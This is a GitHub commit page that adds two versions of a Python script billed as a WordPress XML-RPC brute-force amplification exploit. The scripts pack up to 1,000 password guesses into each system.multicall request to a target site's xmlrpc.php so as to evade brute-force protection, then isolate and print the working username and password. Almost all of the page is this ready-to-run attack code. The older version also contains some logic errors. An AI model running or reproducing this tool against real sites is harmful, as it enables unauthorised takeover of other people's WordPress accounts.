forked from 0x00-0x00/Wordpress-XMLRPC-Brute-Force-Exploit
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Wordpress XMLRPC Brute Force Exploit by 1N3@CrowdShield
- Loading branch information
root
committed
Feb 27, 2017
1 parent
2193167
commit c2021b9
Showing
2 changed files
with
281 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,169 @@ | ||
#!/usr/bin/python | ||
# Wordpress XML-RPC Brute Force Amplification Exploit by 1N3 | ||
# Last Updated: 20160617 | ||
# https://crowdshield.com | ||
# | ||
# ABOUT: This exploit launches a brute force amplification attack on target Wordpress sites. Since XMLRPC allows multiple auth calls per request, amplification is possible and standard brute force protection will not block the attack. | ||
# | ||
# USAGE: ./wp-xml-brute http://target.com/xmlrpc.php passwords.txt username | ||
# | ||
|
||
|
||
import urllib, urllib2, sys, getopt, requests, ssl | ||
from array import * | ||
|
||
ctx = ssl.create_default_context() | ||
ctx.check_hostname = False | ||
ctx.verify_mode = ssl.CERT_NONE | ||
|
||
class bcolors: | ||
HEADER = '\033[95m' | ||
OKBLUE = '\033[94m' | ||
OKGREEN = '\033[92m' | ||
WARNING = '\033[93m' | ||
FAIL = '\033[91m' | ||
ENDC = '\033[0m' | ||
BOLD = '\033[1m' | ||
UNDERLINE = '\033[4m' | ||
|
||
def main(argv): | ||
argc = len(argv) | ||
|
||
if argc < 3: | ||
|
||
print bcolors.OKBLUE + " __ __ .___ " + bcolors.ENDC | ||
print bcolors.OKBLUE + "/ \ / \ ____ _______ __| _/ ______ _______ ____ ______ ______" + bcolors.ENDC | ||
print bcolors.OKBLUE + "\ \/\/ / / _ \ \_ __ \ / __ | \____ \ \_ __ \ _/ __ \ / ___/ / ___/" + bcolors.ENDC | ||
print bcolors.OKBLUE + " \ / ( <_> ) | | \/ / /_/ | | |_> > | | \/ \ ___/ \___ \ \___ \ " + bcolors.ENDC | ||
print bcolors.OKBLUE + " \__/\ / \____/ |__| \____ | | __/ |__| \___ > /____ > /____ >" + bcolors.ENDC | ||
print bcolors.OKBLUE + " \/ \/ |__| \/ \/ \/ " + bcolors.ENDC | ||
print bcolors.OKBLUE + "" + bcolors.ENDC | ||
print bcolors.OKBLUE + " \ / _ _ __ _ _ ___ __ __ _ _ __ __" + bcolors.ENDC | ||
print bcolors.OKBLUE + " X |V|| |_)|_)/ |_)|_)| | | |_ |_ / \|_)/ |_ " + bcolors.ENDC | ||
print bcolors.OKBLUE + ' / \| ||__| \| \__ |_)| \|_| | |__ | \_/| \\\__|__' + bcolors.ENDC | ||
print bcolors.OKBLUE + "" + bcolors.ENDC | ||
print "" | ||
print bcolors.OKBLUE + "+ -- --=[XML-RPC Brute Force Exploit by 1N3 @ https://crowdshield.com" + bcolors.ENDC | ||
print bcolors.OKBLUE + "+ -- --=[Usage: %s http://wordpress.org/xmlrpc.php passwords.txt username" % (argv[0]) + bcolors.ENDC | ||
sys.exit(0) | ||
|
||
url = argv[1] # SET TARGET | ||
wordlist = argv[2] # SET CUSTOM WORDLIST | ||
users = argv[3] # SET USERNAME TO BRUTE FORCE | ||
# users = ['flipkey'] # USERS LIST, ADD MORE AS NEEDED OR CHANGE DEFAULT ADMIN | ||
|
||
print bcolors.OKBLUE + "" + bcolors.ENDC | ||
print bcolors.OKBLUE + " __ __ .___ " + bcolors.ENDC | ||
print bcolors.OKBLUE + "/ \ / \ ____ _______ __| _/ ______ _______ ____ ______ ______" + bcolors.ENDC | ||
print bcolors.OKBLUE + "\ \/\/ / / _ \ \_ __ \ / __ | \____ \ \_ __ \ _/ __ \ / ___/ / ___/" + bcolors.ENDC | ||
print bcolors.OKBLUE + " \ / ( <_> ) | | \/ / /_/ | | |_> > | | \/ \ ___/ \___ \ \___ \ " + bcolors.ENDC | ||
print bcolors.OKBLUE + " \__/\ / \____/ |__| \____ | | __/ |__| \___ > /____ > /____ >" + bcolors.ENDC | ||
print bcolors.OKBLUE + " \/ \/ |__| \/ \/ \/ " + bcolors.ENDC | ||
print bcolors.OKBLUE + "" + bcolors.ENDC | ||
print bcolors.OKBLUE + " \ / _ _ __ _ _ ___ __ __ _ _ __ __" + bcolors.ENDC | ||
print bcolors.OKBLUE + " X |V|| |_)|_)/ |_)|_)| | | |_ |_ / \|_)/ |_ " + bcolors.ENDC | ||
print bcolors.OKBLUE + ' / \| ||__| \| \__ |_)| \|_| | |__ | \_/| \\\__|__' + bcolors.ENDC | ||
print bcolors.OKBLUE + "" + bcolors.ENDC | ||
print "" | ||
print bcolors.OKBLUE + "+ -- --=[XML-RPC Brute Force Exploit by 1N3 @ https://crowdshield.com" + bcolors.ENDC | ||
print bcolors.WARNING + "+ -- --=[Brute forcing target: " + url + " with username: " + users + "" + bcolors.ENDC | ||
|
||
data1 = '<?xml version="1.0"?><methodCall><methodName>system.multicall</methodName><params><param><value><array><data>' | ||
data2 = "" | ||
data3 = '</data></array></value></param></params></methodCall>' | ||
|
||
num_lines = sum(1 for line in open(wordlist)) | ||
f = open(wordlist) | ||
lines = f.readlines() | ||
passwds = f.read().splitlines() | ||
f.close() | ||
|
||
num = 0 # CURRENT LINE POSITION | ||
count = 0 # HOW MANY AUTHS TO SEND PER REQUEST | ||
|
||
while num < num_lines: | ||
# SEND 50 AUTH REQUESTS PER REQUEST | ||
if count < 1000: | ||
num += 1 | ||
count += 1 | ||
|
||
# REACHED END OF FILE, SEND REQUEST AND ATTEMPT BRUTE FORCE... | ||
if num >= num_lines: | ||
data = "" + data1 + "" + data2 + "" + data3 | ||
header = 'headers={"Content-Type": "application/xml"}' | ||
req = urllib2.Request(url, data, headers={'Content-Type': 'application/xml'}) | ||
rsp = urllib2.urlopen(req,context=ctx) | ||
content = rsp.read() | ||
print content | ||
|
||
if "admin" in content.lower(): | ||
print bcolors.OKGREEN + "+ -- --=[Brute Force Amplification Attack Successful!" + bcolors.ENDC | ||
print bcolors.WARNING + "+ -- --=[Starting Brute Force Enumeration..." + bcolors.ENDC | ||
|
||
for user in users: | ||
while num <= num_lines: | ||
num -= 1 | ||
passwd = str(lines[num]) | ||
data = '<?xml version="1.0" encoding="UTF-8"?><methodCall><methodName>wp.getUsersBlogs</methodName><params><param><value>' + user + '</value></param><param><value>' + passwd + '</value></param></params></methodCall>' | ||
header = 'headers={"Content-Type": "application/xml"}' | ||
req = urllib2.Request(url, data, headers={'Content-Type': 'application/xml'}) | ||
rsp = urllib2.urlopen(req,context=ctx) | ||
content = rsp.read() | ||
print content | ||
|
||
if "incorrect" in content.lower(): | ||
print bcolors.FAIL + "+ -- --=[Wrong username or password: " + user + "/" + passwd + "" + bcolors.ENDC | ||
elif "admin" in content.lower(): | ||
print bcolors.OKGREEN + "+ -- --=[w00t! User found! Wordpress is pwned! " + user + "/" + passwd + "" + bcolors.ENDC | ||
sys.exit(0) | ||
else: | ||
print bcolors.WARNING + "+ -- --=[Invalid response from target" + bcolors.ENDC | ||
sys.exit(0) | ||
else: | ||
print bcolors.FAIL + "+ -- --=[Brute force failed" + bcolors.ENDC | ||
|
||
break | ||
sys.exit(0) | ||
else: | ||
passwd = str(lines[num]) | ||
for user in users: | ||
data2 += str('<value><struct><member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member><member><name>params</name><value><array><data><value><array><data><value><string>'+user+'</string></value><value><string>'+passwd+'</string></value></data></array></value></data></array></value></member></struct></value>') | ||
|
||
# WE'VE REACHED THE LIMIT, SEND THE REQUEST AND RESET COUNTER | ||
else: | ||
count = 0 | ||
data = "" + data1 + "" + data2 + "" + data3 | ||
header = 'headers={"Content-Type": "application/xml"}' | ||
req = urllib2.Request(url, data, headers={'Content-Type': 'application/xml'}) | ||
rsp = urllib2.urlopen(req,context=ctx) | ||
content = rsp.read() | ||
print content | ||
data2 = "" | ||
|
||
if "admin" in content.lower(): | ||
print bcolors.OKGREEN + "+ -- --=[Brute Force Amplification Attack Successful!" + bcolors.ENDC | ||
print bcolors.WARNING + "+ -- --=[Starting Brute Force Enumeration..." + bcolors.ENDC | ||
|
||
for user in users: | ||
while num <= num_lines: | ||
passwd = str(lines[num]) | ||
data = '<?xml version="1.0" encoding="UTF-8"?><methodCall><methodName>wp.getUsersBlogs</methodName><params><param><value>' + user + '</value></param><param><value>' + passwd + '</value></param></params></methodCall>' | ||
header = 'headers={"Content-Type": "application/xml"}' | ||
req = urllib2.Request(url, data, headers={'Content-Type': 'application/xml'}) | ||
rsp = urllib2.urlopen(req,context=ctx) | ||
content = rsp.read() | ||
num -= 1 | ||
print content | ||
|
||
if "incorrect" in content.lower(): | ||
print bcolors.FAIL + "+ -- --=[Wrong username or password: " + user + "/" + passwd + "" + bcolors.ENDC | ||
elif "admin" in content.lower(): | ||
print bcolors.OKGREEN + "+ -- --=[w00t! User found! Wordpress is pwned! " + user + "/" + passwd + "" + bcolors.ENDC | ||
sys.exit(0) | ||
else: | ||
print bcolors.WARNING + "+ -- --=[Invalid response from target" + bcolors.ENDC | ||
sys.exit(0) | ||
else: | ||
print bcolors.FAIL + "+ -- --=[Brute force failed" + bcolors.ENDC | ||
|
||
main(sys.argv) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,112 @@ | ||
#!/usr/bin/python | ||
# Wordpress XML-RPC Brute Force Amplification Exploit by 1N3 | ||
# Last Updated: 20170215 | ||
# https://crowdshield.com | ||
# | ||
# ABOUT: This exploit launches a brute force amplification attack on target | ||
# Wordpress sites. Since XMLRPC allows multiple auth calls per request, | ||
# amplification is possible and standard brute force protection will not block | ||
# the attack. | ||
# | ||
# USAGE: ./wp-xml-brute http://target.com/xmlrpc.php passwords.txt username [username2] [username3]... | ||
# | ||
|
||
import time, urllib, urllib2, sys, requests, ssl | ||
from array import * | ||
|
||
WAIT_TIME = 5 | ||
PASSWD_PER_REQUEST = 1000 | ||
|
||
class bcolors: | ||
HEADER = '\033[95m' | ||
OKBLUE = '\033[94m' | ||
OKGREEN = '\033[92m' | ||
WARNING = '\033[93m' | ||
FAIL = '\033[91m' | ||
ENDC = '\033[0m' | ||
BOLD = '\033[1m' | ||
UNDERLINE = '\033[4m' | ||
|
||
def banner(argv, usage = False, url = None, users = None): | ||
print bcolors.OKBLUE + " __ __ .___ " + bcolors.ENDC | ||
print bcolors.OKBLUE + "/ \ / \ ____ _______ __| _/ ______ _______ ____ ______ ______" + bcolors.ENDC | ||
print bcolors.OKBLUE + "\ \/\/ / / _ \ \_ __ \ / __ | \____ \ \_ __ \ _/ __ \ / ___/ / ___/" + bcolors.ENDC | ||
print bcolors.OKBLUE + " \ / ( <_> ) | | \/ / /_/ | | |_> > | | \/ \ ___/ \___ \ \___ \ " + bcolors.ENDC | ||
print bcolors.OKBLUE + " \__/\ / \____/ |__| \____ | | __/ |__| \___ > /____ > /____ >" + bcolors.ENDC | ||
print bcolors.OKBLUE + " \/ \/ |__| \/ \/ \/ " + bcolors.ENDC | ||
print bcolors.OKBLUE + "" + bcolors.ENDC | ||
print bcolors.OKBLUE + " \ / _ _ __ _ _ ___ __ __ _ _ __ __" + bcolors.ENDC | ||
print bcolors.OKBLUE + " X |V|| |_)|_)/ |_)|_)| | | |_ |_ / \|_)/ |_ " + bcolors.ENDC | ||
print bcolors.OKBLUE + ' / \| ||__| \| \__ |_)| \|_| | |__ | \_/| \\\__|__' + bcolors.ENDC | ||
print bcolors.OKBLUE + "" + bcolors.ENDC | ||
print "" | ||
print bcolors.OKBLUE + "+ -- --=[XML-RPC Brute Force Exploit by 1N3 @ https://crowdshield.com" + bcolors.ENDC | ||
if usage: | ||
print bcolors.OKBLUE + "+ -- --=[Usage: %s http://wordpress.org/xmlrpc.php passwords.txt username [username]..." % (argv[0]) + bcolors.ENDC | ||
sys.exit(0) | ||
else: | ||
print bcolors.WARNING + "+ -- --=[Brute forcing target: " + url + " with usernames: " + str(users) + "" + bcolors.ENDC | ||
|
||
def send_request(url, data): | ||
ctx = ssl.create_default_context() | ||
ctx.check_hostname = False | ||
ctx.verify_mode = ssl.CERT_NONE | ||
header = 'headers={"Content-Type": "application/xml"}' | ||
req = urllib2.Request(url, data, headers={'Content-Type': 'application/xml'}) | ||
rsp = urllib2.urlopen(req,context=ctx) | ||
return rsp.read() | ||
|
||
def check_response(content, user, passwd): | ||
if "incorrect" in content.lower(): | ||
print bcolors.FAIL + "+ -- --=[Wrong username or password: " + user + "/" + passwd + "" + bcolors.ENDC | ||
elif "admin" in content.lower(): | ||
print bcolors.OKGREEN + "+ -- --=[w00t! User found! Wordpress is pwned! " + user + "/" + passwd + "" + bcolors.ENDC | ||
sys.exit(0) | ||
else: | ||
print bcolors.WARNING + "+ -- --=[Invalid response from target" + bcolors.ENDC | ||
sys.exit(0) | ||
|
||
def template(entries): | ||
t = '<?xml version="1.0"?><methodCall><methodName>system.multicall</methodName><params><param><value><array><data>' | ||
for entry in entries: | ||
t += "<value><struct><member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member><member><name>params</name><value><array><data><value><array><data><value><string>%s</string></value><value><string>%s</string></value></data></array></value></data></array></value></member></struct></value>" % (entry.get('user'), entry.get('passwd')) | ||
t += '</data></array></value></param></params></methodCall>' | ||
return t | ||
|
||
def attack(entries): | ||
if len(entries) < 1: return | ||
t = template(entries) | ||
return send_request(url, t) | ||
|
||
def find_one(entries): | ||
for entry in entries: | ||
t = template([entry]) | ||
content = send_request(url, t) | ||
check_response(content, entry.get('user'), entry.get('passwd')) | ||
|
||
if __name__ == '__main__': | ||
if len(sys.argv) < 3: banner(sys.argv, True) | ||
|
||
url = sys.argv[1] # SET TARGET | ||
wordlist = sys.argv[2] # SET CUSTOM WORDLIST | ||
users = sys.argv[3:] # SET USERNAME TO BRUTE FORCE | ||
|
||
banner(sys.argv, False, url, users) | ||
|
||
with open(wordlist, 'r') as f: | ||
passwds = f.read().splitlines() | ||
|
||
entries = [] | ||
for user in users: | ||
print "user: %s" % user | ||
for num in range(0, len(passwds)): | ||
if (len(entries) == PASSWD_PER_REQUEST): | ||
if "admin" in attack(entries): | ||
find_one(entries) | ||
entries = [] | ||
time.sleep(WAIT_TIME) | ||
entries.append({"user": user, "passwd": passwds[num]}) | ||
if "admin" in attack(entries): | ||
find_one(entries) | ||
entries = [] | ||
|